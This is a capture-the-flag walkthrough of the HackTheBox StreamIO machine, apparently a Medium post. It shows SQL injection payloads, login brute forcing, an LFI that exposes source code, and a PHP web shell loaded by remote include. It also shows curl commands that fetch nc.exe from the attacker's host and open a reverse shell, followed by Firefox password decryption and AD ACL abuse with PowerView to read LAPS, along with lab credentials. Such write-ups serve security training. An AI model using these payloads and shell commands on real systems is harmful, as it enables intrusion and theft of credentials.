HackTheBox — StreamIO

StreamIO was a medium AD box, it involved exploiting sql injection which was filtering the common payload so sqlmap wasn’t the way for exploiting it, after manually dumping the hashes and brute forcing them on login page it found a valid user yoshide, which had access to management of the site from where we can read the source code through LFI (Local File Inclusion) and get remote code execution as eval on the file was being used which can execute the fetched php code. After having a shell we can connect to MSSQL and access the backup database through admin credentials of database to escalate to nikk37, on further enumeration we can find a firefox profile having few credentials out of which one belonged to Jdgodd that was an owner of Core staff group which had permissions to read LAPS and get administrator.

NMAP

Nmap scan report for 10.129.94.76
Host is up (0.16s latency).
Not shown: 65518 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-05 02:07:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-22T07:03:28
| Not valid after: 2022-03-24T07:03:28
| MD5: b99a 2c8d a0b8 b10a eefa be20 4abd ecaf
|_SHA-1: 6c6a 3f5c 7536 61d5 2da6 0e66 75c0 56ce 56e4 656d
|_ssl-date: 2022-06-05T02:10:14+00:00; +7h00m00s from scanner time.
| tls-alpn:
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cg
i-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/5%Time=629BAD66%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-06-05T02:09:37
|_ start_date: N/A

From the nmap scan we see a domain name streamIO.htb and a subdomain watch.streamIO.htb, adding them in /etc/file hosts file

PORT 389 (LDAP)

Running enum4linux to enumerate LDAP

It didn’t found anything so moving onto smb for checking null authentication

PORT 139/445 (SMB)

Using smbclient to see if we can list shares with null authentication

PORT 443 (HTTPS)

We can see three usernames on about.php so they might be helpful for us later for brute forcing passwords.

There’s also a login page, so testing for default credentials and sqli

Which neither worked

We have an option to register for account so let’s do that

But even after registering an account we were not able to login

Ran gobuster to fuzz for files and directories which showed an admin directory but it was forbidden to access

Running gobuster again on /admin/ showed some interesting files

Here master.php displays a message about being accessed through includes so I wasn't sure what it was talking about

Running gobuster on this site showed few php files

search.php lets us search for a movie name

Clicking on watch button it’s going to show us a prompt that it isn’t available to watch

So this would be retrieving the names of the movie from a database so tried for a sqli with payload

d' or 1=1 --

Which got blocked, I replaced or with and, and it didn’t caught the payload so sqli does exist here and we did got the result as the condition is true

d' and 1=1 --

Let’s run sqlmap to see if we can dump the database

It was able to determine that it was indeed vulnerable

But it wasn’t able to determine the database, reason could be because of there’s some filtering going so we need to dump the database manually, for that I tried finding the number of columns but ORDER BY was blocked as well so it became a little hard to identify the columns, the only technique left was to perform union based sqli by including @@version in the column and then increasing the column if one by one which led to this payload

uwu' union select 1,@@version,3,4,5,6 --

So there are 6 columns in the table and we have the output of version function, we can now find the table, columns and dump the data

uwu' union select 1,table_name,3,4,5,6 from information_schema.tables --

There are two tables, movies and users, we are interested in users table so let’s dump the column names

uwu' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name= 'users' --

We can then extract username and password columns

uwu' union select 1,username,3,4,5,6 from users --
uwu' union select 1,password,3,4,5,6 from users --

To make it easy, we can concatenate both columns to get a better result

uwu' union select 1,concat(username,':',password),3,4,5,6 from users --

Using curl we can make a POST request with sqli payload and then use sed and awk to get the usernames and passwords, so I made this one liner

curl -X POST 'https://watch.streamio.htb/search.php' -d 'q=uwu%27%20union%20select%201%2Cconcat%28username%2C%27%3A%27%2Cpassword%29%2C3%2C4%2C5%2C6%20from%20users%20%2D%2D' -k -s | grep h5 | sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'| tr -d " \t"

What’s happening in this command is :

  • We are making a POST request with -d having the post parameter q with the sqli payload to extract username and password hashes
  • Next we are using grep to grab text having h5 tag as that's where the text is reflected back
  • Piping it to sed we can replace <h5 class="p-2"> with null character , the same with </h5> and then removing the tabs before the usernames with tr -d "\t"

We are now only left with usernames and password hashes which we can separate using awk , awk -F: '{print $1}'

Foothold

This cracked 12 hashes out of 30, so now let’s try to perform brute force on login, we can use burp suite or hydra to perform brute force but I found a tool named patator which I recently started to like for bruteforcing and fuzzing

python3 /opt/patator/patator.py http_fuzz 'url=https://streamio.htb/login.php' method=POST body='username=FILE0&password=FILE1' 0=./users.txt 1=./cracked_passwords.txt -x ignore:fgrep='Login failed'

Here to supply different wordlist we can use any name followed by a number like 0 which indicates the first wordlist so in this case FILE0 and then we define the path to wordlist in 0 , similarly we do this with FILE1 and then we can use -x to ignore the message in the response using fgrep for the string `Login Failed

This finds a valid login yoshide : 66boysandgirls.., After logging in, we can access the admin panel and can see that this user has access to some management

Going through each of the management page, we see a GET parameter

So maybe there’s a parameter we are not seeing, fuzzing it through wfuzz, for that we'll need to use yoshihide's session as we cannot access admin page without being authenticated

wfuzz -c -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt  -u 'https://streamio.htb/admin/?FUZZ' -b 'PHPSESSID=j20051o8t1rbshc9doco26al06' --hh 1678

This finds a parameter debug, and with this we can perform LFI (Local FIle Inclusion) to read the master.php file we found in the /admin directory

The contents of the page are changed which means that we were able to include master.php file,view the source code, we can use a php base64 filter to encode the contents of the page so that the browser doesn’t execute the php code and we can get it in encoded which can be decoded to plain text

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php

At the bottom of the source code we can see eval being used on file_get_contents on the POST parameter include , so we can include any php file and if it contains php code it's going to be executed

So creating a file a php file having the contents

system($_GET['cmd']);

Hosting this through python server and using curl to make a POST request to include the php with GET parameter running dir command

curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=dir' -k -b 'PHPSESSID=bg2lbvk5d9pvrjub67e5aib3rk' -d 'include=http://10.10.14.26:2222/test.php

We have command execution, so let’s try getting a shell by downloading nc and executing it

curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=curl+10.10.14.26:2222/nc.exe+-o+C:\Windows\Temp\nc.exe' -k -b 'PHPSESSID=bg2lbvk5d9pvrjub67e5aib3rk' -d 'include=http://10.10.14.26:2222/test.php'curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=C:\Windows\Temp\nc.exe+10.10.14.26+3333+-e+cmd.exe' -k -b 'PHPSESSID=bg2lbvk5d9pvrjub67e5aib3rk' -d 'include=http://10.10.14.26:2222/test.php'

Running whoami will return that we are yoshihde user on the system

And this user is a normal domain user, checking C:\Users there two users Matrin and nikk37 but we don't have access to these directories

Uploading sharphound.exe to enumerate the domain

To transfer this on to our local machine, we can copy the archive file to C:\inetpub\streamio.htb and download the file from the site

https://streamio.htb/20220611010818_BloodHound.zip

Unzip the archive from which we’ll get json files and upload them to bloodhound GUI

Looking through the pre-built queries I didn’t find any way to escalate from yoshihide to any user

Privilege Escalation (nikk37)

Jdgood seems to be write owner of Core Staff group which can read LAPS other than that there was nothing interesting, We can find credentials for db_user from login.php

Also we can find password for db_admin

I tried using sqlcmd to login using cmd but it failed

Later uploaded chisel to port forward port 1433

With sqsh we can login to MSSQL and execute queries in the STREAMIO database

But we already had access to this table, checking if there are any other databases

SELECT name FROM master.dbo.sysdatabases;
go

This shows a database named streamio_backup

But db_user isn’t able to access this database, we already have the credentials for db admin so let’s use that to access this database

Listing the tables with

SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'

We can see a users table having 8 users

That has nikk37’s hash which is a user on the system, checking if crack station can crack this hash

Since winrm is open on the box, we can use evil-winrm to login as nikk37

After getting a shell as nikk37 I ran winpeas.bat which showed that there was a firefox profile

From here we only need logins.json and key4.db, we can use impacket's smb server to transfer files

Using firepwd a python script to decrypt firefox passwords we can get the passwords from the logins.json and key4.db by having them in the same directory

https://github.com/lclevy/firepwd

Brute forcing the passwords we’ll get JDg0dd1s@d0p3cr3@t0r as the correct password

Privilege Escalation (Administrator)

Jdgodd isn’t in remote desktop user so we can’t get a shell or execute commands but we can use the credentials in the process as this user is WriteOwner of Core Staff group

First we’ll need to create a credential object so that credentials can be used in the process

$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force


$Cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $SecPassword)

Next use powerview to make the user the owner of the group

Set-DomainObjectOwner -Credential $Cred -Identity "CORE STAFF" -OwnerIdentity "JDgodd"

Adding all rights to the group

Add-DomainObjectAcl -TargetIdentity "CORE STAFF" -PrincipalIdentity JDgodd -Rights All -Verbose -Credential $Cred

Adding Jdogdd to the group as the member

Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $cred -Verbose

Now we can read LAPS password through crackmapexec and can login as the administrator

cme ldap streamio.htb -d streamio.htb -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -M laps

Being an administrator as he’s a domain admin, we can dump NTDS.dit with secretsdump.py from impacket

References

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store